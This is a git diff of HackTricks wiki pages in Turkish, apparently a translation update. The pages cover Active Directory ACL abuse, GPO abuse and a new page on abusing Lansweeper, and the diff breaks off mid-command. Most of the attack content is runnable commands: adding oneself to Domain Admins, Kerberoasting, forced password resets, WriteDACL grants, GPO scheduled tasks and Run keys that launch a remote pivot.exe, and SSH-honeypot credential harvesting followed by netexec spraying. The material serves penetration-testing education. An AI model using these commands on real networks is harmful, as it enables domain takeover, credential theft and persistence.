[**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **ve** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**'dan tekniklerin bir özetidir. Daha fazla ayrıntı için, orijinal makalelere bakın.** +**Bu sayfa büyük ölçüde şu tekniklerin bir özeti:** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **ve** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Daha fazla ayrıntı için orijinal makalelere bakın.** ## BadSuccessor + {{#ref}} BadSuccessor.md {{#endref}} -## **Kullanıcı Üzerinde GenericAll Hakları** +## **GenericAll Rights on User** -Bu ayrıcalık, bir saldırgana hedef kullanıcı hesabı üzerinde tam kontrol sağlar. `GenericAll` hakları `Get-ObjectAcl` komutu kullanılarak doğrulandığında, bir saldırgan: +Bu ayrıcalık bir saldırgana hedef kullanıcı hesabı üzerinde tam kontrol verir. `GenericAll` hakları `Get-ObjectAcl` komutuyla doğrulandıktan sonra, bir saldırgan şunları yapabilir: -- **Hedefin Parolasını Değiştirme**: `net user /domain` komutunu kullanarak, saldırgan kullanıcının parolasını sıfırlayabilir. -- **Hedefli Kerberoasting**: Kullanıcının hesabına bir SPN atayarak, onu kerberoastable hale getirebilir, ardından Rubeus ve targetedKerberoast.py kullanarak bilet verme biletinin (TGT) hash'lerini çıkartıp kırmaya çalışabilir. +- **Hedefin Parolasını Değiştirme**: `net user /domain` kullanarak saldırgan kullanıcının parolasını sıfırlayabilir. +- **Targeted Kerberoasting**: Kullanıcının hesabına bir SPN atayarak hesabı kerberoastable hale getirin, sonra Rubeus ve targetedKerberoast.py kullanarak ticket-granting ticket (TGT) hash'lerini çıkarıp kırmayı deneyin. ```bash Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipalname="fake/NOTHING"} .\Rubeus.exe kerberoast /user: /nowrap Set-DomainObject -Credential $creds -Identity -Clear serviceprincipalname -Verbose ``` -- **Hedeflenmiş ASREPRoasting**: Kullanıcı için ön kimlik doğrulamayı devre dışı bırakın, bu da hesabını ASREPRoasting'e karşı savunmasız hale getirir. +- **Targeted ASREPRoasting**: Kullanıcı için pre-authentication'ı devre dışı bırakın; böylece hesabı ASREPRoasting'e karşı savunmasız hale gelir. ```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` -## **GenericAll Hakları Üzerinde Grup** +## **GenericAll Hakları Bir Grup Üzerinde** -Bu ayrıcalık, bir saldırganın `Domain Admins` gibi bir grupta `GenericAll` haklarına sahip olması durumunda grup üyeliklerini manipüle etmesine olanak tanır. Saldırgan, grubun ayırt edici adını `Get-NetGroup` ile belirledikten sonra: +Bu ayrıcalık, bir saldırganın `Domain Admins` gibi bir grup üzerinde `GenericAll` haklarına sahipse grup üyeliklerini değiştirmesine olanak tanır. Grubun distinguished name'ini `Get-NetGroup` ile belirledikten sonra saldırgan şunları yapabilir: -- **Kendilerini Domain Admins Grubuna Ekleyebilir**: Bu, doğrudan komutlar aracılığıyla veya Active Directory veya PowerSploit gibi modüller kullanılarak yapılabilir. +- **Kendilerini Domain Admins Grubuna Eklemek**: Bu doğrudan komutlarla veya Active Directory veya PowerSploit gibi modüller kullanılarak yapılabilir. ```bash net group "domain admins" spotless /add /domain Add-ADGroupMember -Identity "domain admins" -Members spotless Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" ``` +- Linux'ten, GenericAll/Write üyeliğiniz olduğunda kendinizi istediğiniz gruplara eklemek için BloodyAD'i kullanabilirsiniz. Hedef grup “Remote Management Users” içinde nested ise, o grubu dikkate alan hostlarda hemen WinRM erişimi kazanırsınız: +```bash +# Linux tooling example (BloodyAD) to add yourself to a target group +bloodyAD --host -d -u -p '' add groupMember "" + +# If the target group is member of "Remote Management Users", WinRM becomes available +netexec winrm -u -p '' +``` ## **GenericAll / GenericWrite / Write on Computer/User** -Bu yetkilere sahip olmak, bir bilgisayar nesnesi veya kullanıcı hesabında şunları sağlar: +Bu ayrıcalıklara bir bilgisayar nesnesi veya kullanıcı hesabı üzerinde sahip olmak şunlara izin verir: -- **Kerberos Resource-based Constrained Delegation**: Bir bilgisayar nesnesini ele geçirmeyi sağlar. -- **Shadow Credentials**: Bu tekniği, gölge kimlik bilgilerini oluşturma yetkilerini kullanarak bir bilgisayar veya kullanıcı hesabını taklit etmek için kullanın. +- **Kerberos Resource-based Constrained Delegation**: Bir bilgisayar nesnesinin ele geçirilmesini mümkün kılar. +- **Shadow Credentials**: Bu tekniği, ayrıcalıkları kullanarak shadow credentials oluşturarak bir bilgisayarın veya kullanıcı hesabının taklit edilmesi için kullanın. ## **WriteProperty on Group** -Bir kullanıcının belirli bir grup (örneğin, `Domain Admins`) için tüm nesnelerde `WriteProperty` hakları varsa, şunları yapabilirler: +Bir kullanıcının belirli bir grup için (ör. `Domain Admins`) tüm nesneler üzerinde `WriteProperty` hakları varsa, şunları yapabilir: -- **Kendilerini Domain Admins Grubuna Eklemek**: `net user` ve `Add-NetGroupUser` komutlarını birleştirerek gerçekleştirilebilir, bu yöntem alan içinde ayrıcalık yükseltmesine olanak tanır. +- **Kendilerini Domain Admins Group'a eklemek**: `net user` ve `Add-NetGroupUser` komutlarının birleştirilmesiyle gerçekleştirilebilen bu yöntem, etki alanı (domain) içinde ayrıcalık yükseltmesine olanak tanır. ```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` -## **Kendi (Kendi Üyeliği) Grubunda** +## **Self (Self-Membership) on Group** -Bu ayrıcalık, saldırganların `Domain Admins` gibi belirli gruplara kendilerini eklemelerine olanak tanır; bu, grup üyeliğini doğrudan manipüle eden komutlar aracılığıyla gerçekleştirilir. Aşağıdaki komut dizisini kullanmak, kendini eklemeye olanak tanır: +Bu ayrıcalık, saldırganların grup üyeliğini doğrudan değiştiren komutlar aracılığıyla kendilerini `Domain Admins` gibi belirli gruplara eklemelerine olanak tanır. Aşağıdaki komut dizisini kullanarak kendini ekleme yapılabilir: ```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` -## **WriteProperty (Kendi Üyeliği)** +## **WriteProperty (Self-Membership)** -Benzer bir ayrıcalık olan bu, saldırganların grup özelliklerini değiştirerek kendilerini doğrudan gruplara eklemelerine olanak tanır; eğer bu gruplar üzerinde `WriteProperty` hakkına sahipseler. Bu ayrıcalığın onayı ve uygulanması şu şekilde gerçekleştirilir: +Benzer bir ayrıcalık olan bu, saldırganların belirli gruplarda `WriteProperty` hakkına sahipse, grup özelliklerini değiştirerek kendilerini doğrudan gruplara eklemelerine olanak tanır. Bu ayrıcalığın doğrulanması ve yürütülmesi şununla gerçekleştirilir: ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} net group "domain admins" spotless /add /domain ``` ## **ForceChangePassword** -`User-Force-Change-Password` için bir kullanıcıda `ExtendedRight` tutmak, mevcut şifreyi bilmeden şifre sıfırlamalarına olanak tanır. Bu hakkın doğrulanması ve istismarı, PowerShell veya alternatif komut satırı araçları aracılığıyla yapılabilir ve etkileşimli oturumlar ile etkileşimsiz ortamlar için tek satırlık komutlar dahil olmak üzere bir kullanıcının şifresini sıfırlamak için çeşitli yöntemler sunar. Komutlar, basit PowerShell çağrılarından Linux'ta `rpcclient` kullanmaya kadar uzanarak saldırı vektörlerinin çok yönlülüğünü göstermektedir. +`User-Force-Change-Password` için bir kullanıcının üzerinde `ExtendedRight`'a sahip olmak, mevcut parolayı bilmeden parola sıfırlamalarına izin verir. Bu hakkın doğrulanması ve sömürüsü PowerShell veya alternatif komut satırı araçlarıyla yapılabilir; bu, etkileşimli oturumlar ve etkileşimsiz ortamlar için tek satırlık komutlar da dahil olmak üzere bir kullanıcının parolasını sıfırlamak için çeşitli yöntemler sunar. Komutlar basit PowerShell çağrılarından Linux'ta `rpcclient` kullanmaya kadar uzanır ve saldırı vektörlerinin çok yönlülüğünü gösterir. ```bash Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainUserPassword -Identity delegate -Verbose @@ -76,9 +85,9 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri rpcclient -U KnownUsername 10.10.10.192 > setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!' ``` -## **WriteOwner Üzerinde Grup** +## **Grupta WriteOwner** -Eğer bir saldırgan `WriteOwner` haklarına sahip olduğunu keşfederse, grubun sahipliğini kendisine değiştirebilir. Bu, söz konusu grubun `Domain Admins` olması durumunda özellikle etkilidir, çünkü sahipliği değiştirmek grup nitelikleri ve üyeliği üzerinde daha geniş bir kontrol sağlar. Süreç, `Get-ObjectAcl` aracılığıyla doğru nesneyi tanımlamayı ve ardından sahibi değiştirmek için `Set-DomainObjectOwner` kullanmayı içerir; bu, SID veya isimle yapılabilir. +Bir saldırgan bir grup üzerinde `WriteOwner` haklarına sahip olduğunu tespit ederse, grubun sahipliğini kendine değiştirebilir. Bu, söz konusu grup `Domain Admins` olduğunda özellikle etkili olur; sahipliği değiştirmek grup öznitelikleri ve üyelik üzerinde daha geniş kontrol sağlar. Süreç, doğru nesnenin `Get-ObjectAcl` ile belirlenmesini ve ardından sahibi `Set-DomainObjectOwner` kullanarak SID veya isim ile değiştirmeyi içerir. ```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose @@ -86,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico ``` ## **GenericWrite on User** -Bu izin, bir saldırganın kullanıcı özelliklerini değiştirmesine olanak tanır. Özellikle, `GenericWrite` erişimi ile saldırgan, bir kullanıcının oturum açma betiği yolunu değiştirerek kullanıcı oturumu açıldığında kötü niyetli bir betiği çalıştırabilir. Bu, hedef kullanıcının `scriptpath` özelliğini saldırganın betiğine işaret edecek şekilde güncellemek için `Set-ADObject` komutunun kullanılmasıyla gerçekleştirilir. +Bu izin, bir attacker'ın user özelliklerini değiştirmesine olanak tanır. Özellikle, `GenericWrite` erişimi ile attacker, bir user'ın logon script path'ini değiştirerek user logon olduğunda kötü amaçlı bir script'in çalıştırılmasını sağlayabilir. Bu, hedef user'ın `scriptpath` özelliğini attacker'ın script'ine işaret edecek şekilde güncellemek için `Set-ADObject` komutunun kullanılmasıyla gerçekleştirilir. ```bash Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` ## **GenericWrite on Group** -Bu ayrıcalıkla, saldırganlar grup üyeliğini manipüle edebilir, örneğin kendilerini veya diğer kullanıcıları belirli gruplara ekleyebilirler. Bu süreç, bir kimlik bilgisi nesnesi oluşturmayı, bunu kullanarak bir gruptan kullanıcı eklemeyi veya çıkarmayı ve PowerShell komutlarıyla üyelik değişikliklerini doğrulamayı içerir. +Bu ayrıcalıkla saldırganlar grup üyeliklerini değiştirebilir; örneğin kendilerini veya diğer kullanıcıları belirli gruplara ekleyebilirler. Bu süreç, bir kimlik bilgisi nesnesi oluşturmayı, bunu kullanarak bir gruba kullanıcı eklemeyi veya kaldırmayı ve üyelik değişikliklerini PowerShell komutlarıyla doğrulamayı içerir. ```bash $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd) @@ -102,7 +111,7 @@ Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'use ``` ## **WriteDACL + WriteOwner** -Bir AD nesnesine sahip olmak ve üzerinde `WriteDACL` ayrıcalıklarına sahip olmak, bir saldırgana nesne üzerinde `GenericAll` ayrıcalıkları verme imkanı tanır. Bu, ADSI manipülasyonu yoluyla gerçekleştirilir ve nesne üzerinde tam kontrol sağlanır ve grup üyeliklerini değiştirme yeteneği kazanılır. Ancak, bu ayrıcalıkları Active Directory modülünün `Set-Acl` / `Get-Acl` cmdlet'lerini kullanarak istismar etmeye çalışırken sınırlamalar vardır. +Bir AD nesnesine sahip olmak ve üzerinde `WriteDACL` ayrıcalıklarına sahip olmak, saldırganın kendisine nesne üzerinde `GenericAll` ayrıcalıkları vermesini sağlar. Bu, ADSI manipülasyonu ile gerçekleştirilir; nesne üzerinde tam kontrol elde etmeye ve grup üyeliklerini değiştirme yeteneği sağlar. Buna rağmen, Active Directory modülünün `Set-Acl` / `Get-Acl` cmdlet'lerini kullanarak bu ayrıcalıkları suistimal etmeye çalışırken sınırlamalar bulunmaktadır. ```bash $ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local" $IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier]) @@ -110,66 +119,66 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE) $ADSI.psbase.commitchanges() ``` -## **Alan Üzerinde Replikasyon (DCSync)** +## **Etki Alanında Replikasyon (DCSync)** -DCSync saldırısı, bir Alan Denetleyicisini taklit etmek ve kullanıcı kimlik bilgileri de dahil olmak üzere verileri senkronize etmek için alan üzerindeki belirli replikasyon izinlerini kullanır. Bu güçlü teknik, saldırganların bir Alan Denetleyicisine doğrudan erişim olmadan AD ortamından hassas bilgileri çıkarmasına olanak tanıyan `DS-Replication-Get-Changes` gibi izinler gerektirir. [**DCSync saldırısı hakkında daha fazla bilgi edinin.**](../dcsync.md) +DCSync saldırısı, etki alanındaki belirli replikasyon izinlerini kullanarak bir Domain Controller'ı taklit eder ve kullanıcı kimlik bilgileri dahil olmak üzere verileri senkronize eder. Bu güçlü teknik, `DS-Replication-Get-Changes` gibi izinler gerektirir; bu da saldırganların bir Domain Controller'a doğrudan erişim olmadan AD ortamından hassas bilgileri çıkarmasına olanak tanır. [**DCSync saldırısı hakkında daha fazla bilgi edinin.**](../dcsync.md) -## GPO Delegasyonu +## GPO Yetkilendirmesi -### GPO Delegasyonu +### GPO Yetkilendirmesi -Grup Politika Nesnelerini (GPO) yönetmek için devredilen erişim, önemli güvenlik riskleri oluşturabilir. Örneğin, `offense\spotless` gibi bir kullanıcıya GPO yönetim hakları devredilirse, **WriteProperty**, **WriteDacl** ve **WriteOwner** gibi ayrıcalıklara sahip olabilirler. Bu izinler, PowerView kullanılarak tespit edilen kötü niyetli amaçlar için kötüye kullanılabilir: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +Group Policy Objects (GPOs) yönetimi için devredilen erişim önemli güvenlik riskleri doğurabilir. Örneğin, `offense\spotless` gibi bir kullanıcıya GPO yönetim hakları devredilmişse, **WriteProperty**, **WriteDacl** ve **WriteOwner** gibi ayrıcalıklara sahip olabilir. Bu izinler kötü amaçlı kullanım için suistimal edilebilir; PowerView kullanılarak şu şekilde tespit edilebilir: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -### GPO İzinlerini Listele +### GPO İzinlerini Listeleme -Yanlış yapılandırılmış GPO'ları tanımlamak için PowerSploit'in cmdlet'leri bir araya getirilebilir. Bu, belirli bir kullanıcının yönetme izinlerine sahip olduğu GPO'ların keşfedilmesini sağlar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` +Yanlış yapılandırılmış GPO'ları belirlemek için PowerSploit'ın cmdlet'leri zincirlenebilir. Bu, belirli bir kullanıcının hangi GPO'ları yönetme iznine sahip olduğunu keşfetmeyi sağlar: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}` -**Verilen Politika Uygulanan Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını çözmek mümkündür, bu da potansiyel etkinin kapsamını anlamaya yardımcı olur. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` +**Belirli Bir Politika Uygulanan Bilgisayarlar**: Belirli bir GPO'nun hangi bilgisayarlara uygulandığını çözmek mümkündür; bu, potansiyel etkinin kapsamını anlamaya yardımcı olur. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}` -**Verilen Bilgisayara Uygulanan Politikalar**: Belirli bir bilgisayara hangi politikaların uygulandığını görmek için `Get-DomainGPO` gibi komutlar kullanılabilir. +**Belirli Bir Bilgisayara Uygulanan Politikalar**: Belirli bir bilgisayara hangi politikaların uygulandığını görmek için `Get-DomainGPO` gibi komutlar kullanılabilir. -**Verilen Politika Uygulanan OU'lar**: Belirli bir politikadan etkilenen organizasyonel birimleri (OU'lar) tanımlamak için `Get-DomainOU` kullanılabilir. +**Belirli Bir Politika Uygulanan OU'lar**: Bir politikadan etkilenen organizational units (OU'lar) `Get-DomainOU` kullanılarak tespit edilebilir. -GPO'ları listelemek ve içindeki sorunları bulmak için [**GPOHound**](https://github.com/cogiceo/GPOHound) aracını da kullanabilirsiniz. +GPO'ları listelemek ve içlerindeki sorunları bulmak için [**GPOHound**](https://github.com/cogiceo/GPOHound) aracını da kullanabilirsiniz. -### GPO'yu Kötüye Kullan - New-GPOImmediateTask +### GPO Kötüye Kullanımı - New-GPOImmediateTask -Yanlış yapılandırılmış GPO'lar, örneğin, hemen bir zamanlanmış görev oluşturarak kod çalıştırmak için istismar edilebilir. Bu, etkilenen makinelerde yerel yöneticiler grubuna bir kullanıcı eklemek için yapılabilir ve bu da ayrıcalıkları önemli ölçüde artırır: +Yanlış yapılandırılmış GPO'lar, örneğin hemen çalışacak bir zamanlanmış görev oluşturarak kod yürütmek için suistimal edilebilir. Bu, etkilenen makinelerde bir kullanıcıyı yerel yöneticiler grubuna eklemek için yapılabilir ve yetkileri önemli ölçüde yükseltir: ```bash New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force ``` -### GroupPolicy modülü - GPO'yu Kötüye Kullanma +### GroupPolicy module - Abuse GPO -GroupPolicy modülü, eğer kuruluysa, yeni GPO'ların oluşturulmasını ve bağlanmasını sağlar ve etkilenen bilgisayarlarda arka kapıları çalıştırmak için kayıt defteri değerleri gibi tercihlerin ayarlanmasına olanak tanır. Bu yöntem, GPO'nun güncellenmesini ve bir kullanıcının bilgisayara giriş yapmasını gerektirir: +The GroupPolicy module, eğer kuruluysa, yeni GPO'ların oluşturulmasına ve bağlanmasına ve etkilenen bilgisayarlarda backdoors çalıştırmak için registry values gibi tercihlerin ayarlanmasına olanak tanır. Bu yöntem, GPO'nun güncellenmesini ve yürütme için bir kullanıcının bilgisayara giriş yapmasını gerektirir: ```bash New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io" Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString ``` -### SharpGPOAbuse - GPO'yu Kötüye Kullanma +### SharpGPOAbuse - Abuse GPO -SharpGPOAbuse, yeni GPO'lar oluşturma gereksinimi olmadan mevcut GPO'ları kötüye kullanma yöntemi sunar. Bu araç, değişiklikleri uygulamadan önce mevcut GPO'ların değiştirilmesini veya yeni GPO'lar oluşturmak için RSAT araçlarının kullanılmasını gerektirir: +SharpGPOAbuse, yeni GPO oluşturmaya gerek kalmadan mevcut GPO'lara görev ekleyerek veya ayarları değiştirerek bunları kötüye kullanma yöntemi sunar. Bu araç, değişiklikleri uygulamadan önce mevcut GPO'ları değiştirmenizi veya yeni GPO'lar oluşturmak için RSAT araçlarını kullanmanızı gerektirir: ```bash .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging" ``` ### Politika Güncellemesini Zorla -GPO güncellemeleri genellikle her 90 dakikada bir gerçekleşir. Bu süreci hızlandırmak için, özellikle bir değişiklik uygulandıktan sonra, hedef bilgisayarda `gpupdate /force` komutu kullanılabilir. Bu komut, GPO'larda yapılan herhangi bir değişikliğin bir sonraki otomatik güncelleme döngüsünü beklemeden uygulanmasını sağlar. +GPO güncellemeleri genellikle yaklaşık her 90 dakikada bir gerçekleşir. Bu süreci hızlandırmak, özellikle bir değişiklik yaptıktan sonra, hedef bilgisayarda `gpupdate /force` komutunu kullanarak anlık bir politika güncellemesi zorlayabilirsiniz. Bu komut, GPO'lara yapılan değişikliklerin bir sonraki otomatik güncelleme döngüsünü beklemeden uygulanmasını sağlar. -### Arka Planda +### İşleyiş -Verilen bir GPO için Zamanlanmış Görevler incelendiğinde, `Misconfigured Policy` gibi görevlerin eklenmesi, `evilTask` gibi görevlerin varlığını doğrulayabilir. Bu görevler, sistem davranışını değiştirmek veya ayrıcalıkları artırmak amacıyla betikler veya komut satırı araçları aracılığıyla oluşturulur. +Belirli bir GPO için Zamanlanmış Görevler incelendiğinde, örneğin `Misconfigured Policy`, `evilTask` gibi görevlerin eklendiği doğrulanabilir. Bu görevler sistem davranışını değiştirmeyi veya ayrıcalıkları yükseltmeyi amaçlayan script'ler veya komut satırı araçlarıyla oluşturulur. -`New-GPOImmediateTask` tarafından oluşturulan XML yapılandırma dosyasında gösterildiği gibi, görev yapısı zamanlanmış görevin ayrıntılarını - yürütülecek komut ve tetikleyicileri - özetler. Bu dosya, zamanlanmış görevlerin GPO'lar içinde nasıl tanımlandığını ve yönetildiğini temsil eder ve politika uygulaması kapsamında rastgele komutlar veya betikler yürütme yöntemi sunar. +`New-GPOImmediateTask` tarafından üretilen XML yapılandırma dosyasında gösterildiği gibi, görevin yapısı zamanlanmış görevin ayrıntılarını — yürütülecek komut ve tetikleyiciler dahil — ortaya koyar. Bu dosya, GPO'lar içinde zamanlanmış görevlerin nasıl tanımlandığını ve yönetildiğini gösterir ve politika uygulaması kapsamında rastgele komutlar veya script'ler çalıştırmak için bir yöntem sağlar. ### Kullanıcılar ve Gruplar -GPO'lar, hedef sistemlerde kullanıcı ve grup üyeliklerinin manipülasyonuna da olanak tanır. Kullanıcılar ve Gruplar politika dosyalarını doğrudan düzenleyerek, saldırganlar yerel `administrators` grubuna kullanıcı ekleyebilir. Bu, GPO yönetim izinlerinin devri aracılığıyla mümkündür; bu, politika dosyalarının yeni kullanıcılar eklemek veya grup üyeliklerini değiştirmek için değiştirilmesine izin verir. +GPO'lar ayrıca hedef sistemlerdeki kullanıcı ve grup üyeliklerinin manipüle edilmesine izin verir. Users and Groups politika dosyalarını doğrudan düzenleyerek, saldırganlar yerel `administrators` grubu gibi ayrıcalıklı gruplara kullanıcı ekleyebilirler. Bu, GPO yönetim izinlerinin delege edilmesi sayesinde mümkündür; bu izinler politika dosyalarının yeni kullanıcılar ekleyecek veya grup üyeliklerini değiştirecek şekilde düzenlenmesine olanak tanır. -Kullanıcılar ve Gruplar için XML yapılandırma dosyası, bu değişikliklerin nasıl uygulandığını özetler. Bu dosyaya girişler ekleyerek, belirli kullanıcılara etkilenen sistemler üzerinde yükseltilmiş ayrıcalıklar verilebilir. Bu yöntem, GPO manipülasyonu yoluyla ayrıcalık artırma için doğrudan bir yaklaşım sunar. +Users and Groups için XML yapılandırma dosyası bu değişikliklerin nasıl uygulandığını açıklar. Bu dosyaya girişler ekleyerek, belirli kullanıcılara etkilenen sistemler genelinde yükseltilmiş ayrıcalıklar verilebilir. Bu yöntem, GPO manipülasyonu yoluyla doğrudan bir ayrıcalık yükseltme yaklaşımı sunar. -Ayrıca, kod yürütme veya kalıcılığı sürdürme için ek yöntemler, oturum açma/kapatma betiklerini kullanma, otomatik çalıştırmalar için kayıt defteri anahtarlarını değiştirme, .msi dosyaları aracılığıyla yazılım yükleme veya hizmet yapılandırmalarını düzenleme gibi yöntemler de dikkate alınabilir. Bu teknikler, GPO'ların kötüye kullanımı yoluyla erişimi sürdürme ve hedef sistemleri kontrol etme için çeşitli yollar sunar. +Ayrıca, oturum açma/oturum kapatma script'lerini kullanma, autorun için kayıt defteri anahtarlarını değiştirme, .msi dosyaları aracılığıyla yazılım yükleme veya servis yapılandırmalarını düzenleme gibi kod çalıştırma veya kalıcılık sağlama için ek yöntemler de düşünülebilir. Bu teknikler, GPO'ların kötüye kullanımı yoluyla erişimi sürdürmek ve hedef sistemleri kontrol etmek için çeşitli yollar sağlar. -## Referanslar +## Kaynaklar - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) diff --git a/src/windows-hardening/active-directory-methodology/lansweeper-security.md b/src/windows-hardening/active-directory-methodology/lansweeper-security.md new file mode 100644 index 000000000..6f1501381 --- /dev/null +++ b/src/windows-hardening/active-directory-methodology/lansweeper-security.md @@ -0,0 +1,153 @@ +# Lansweeper Abuse: Credential Harvesting, Secrets Decryption, and Deployment RCE + +{{#include ../../banners/hacktricks-training.md}} + +Lansweeper, genellikle Windows üzerinde konuşlandırılan ve Active Directory ile entegre edilen bir IT varlık keşif ve envanter platformudur. Lansweeper'a yapılandırılmış kimlik bilgileri, tarama motorları tarafından SSH, SMB/WMI ve WinRM gibi protokoller üzerinden varlıklara kimlik doğrulamak için kullanılır. Yanlış yapılandırmalar sıklıkla şunlara izin verir: + +- Tarama hedefini saldırgan kontrollü bir sunucuya (honeypot) yönlendirerek kimlik bilgilerini yakalama +- Lansweeper ile ilişkili gruplar tarafından açığa çıkan AD ACL'lerinin kötüye kullanılarak uzaktan erişim elde edilmesi +- Lansweeper'da yapılandırılmış gizli bilgilerin (connection strings ve kayıtlı tarama kimlik bilgileri) host üzerinde şifresinin çözülmesi +- Deployment özelliği aracılığıyla yönetilen uç noktalarda kod yürütme (çoğunlukla SYSTEM olarak çalışır) + +Bu sayfa, bu davranışların istismarı için pratik saldırgan iş akışları ve komutları özetler. + +## 1) Harvest scanning credentials via honeypot (SSH example) + +Idea: create a Scanning Target that points to your host and map existing Scanning Credentials to it. When the scan runs, Lansweeper will attempt to authenticate with those credentials, and your honeypot will capture them. + +Steps overview (web UI): +- Scanning → Scanning Targets → Add Scanning Target +- Type: IP Range (or Single IP) = your VPN IP +- Configure SSH port to something reachable (e.g., 2022 if 22 is blocked) +- Disable schedule and plan to trigger manually +- Scanning → Scanning Credentials → ensure Linux/SSH creds exist; map them to the new target (enable all as needed) +- Click “Scan now” on the target +- Run an SSH honeypot and retrieve the attempted username/password + +Example with sshesame: +```yaml +# sshesame.conf +server: +listen_address: 10.10.14.79:2022 +``` + +```bash +# Install and run +sudo apt install -y sshesame +sshesame --config sshesame.conf +# Expect client banner similar to RebexSSH and cleartext creds +# authentication for user "svc_inventory_lnx" with password "" accepted +# connection with client version "SSH-2.0-RebexSSH_5.0.x" established +``` +Yakalanan kimlik bilgilerini DC hizmetlerine karşı doğrulayın: +```bash +# SMB/LDAP/WinRM checks (NetExec) +netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '' +netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '' +netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '' +``` +Notlar +- Diğer protokoller için de benzer şekilde çalışır; scanner'ı listener'ınıza zorlayabildiğiniz durumlarda (SMB/WinRM honeypots, vb.). SSH genellikle en basit olandır. +- Birçok scanner kendini ayırt edici client banner'larıyla tanımlar (ör. RebexSSH) ve zararsız komutları deneyecektir (uname, whoami, vb.). + +## 2) AD ACL abuse: bir app-admin group'a kendinizi ekleyerek uzak erişim elde etme + +Kompromize hesap üzerinden etkin hakları enumerate etmek için BloodHound kullanın. Sık rastlanan bir bulgu, scanner- veya uygulamaya özgü bir grubun (ör. “Lansweeper Discovery”) ayrıcalıklı bir grup üzerinde GenericAll'e sahip olmasıdır (ör. “Lansweeper Admins”). Eğer ayrıcalıklı grup aynı zamanda “Remote Management Users” üyesiyse, kendimizi ekledikten sonra WinRM kullanılabilir hale gelir. + +Toplama örnekleri: +```bash +# NetExec collection with LDAP +netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '' --bloodhound -c All --dns-server + +# RustHound-CE collection (zip for BH CE import) +rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '' -c All --zip +``` +Exploit GenericAll'ı grupta BloodyAD (Linux) ile: +```bash +# Add our user into the target group +bloodyAD --host inventory.sweep.vl -d 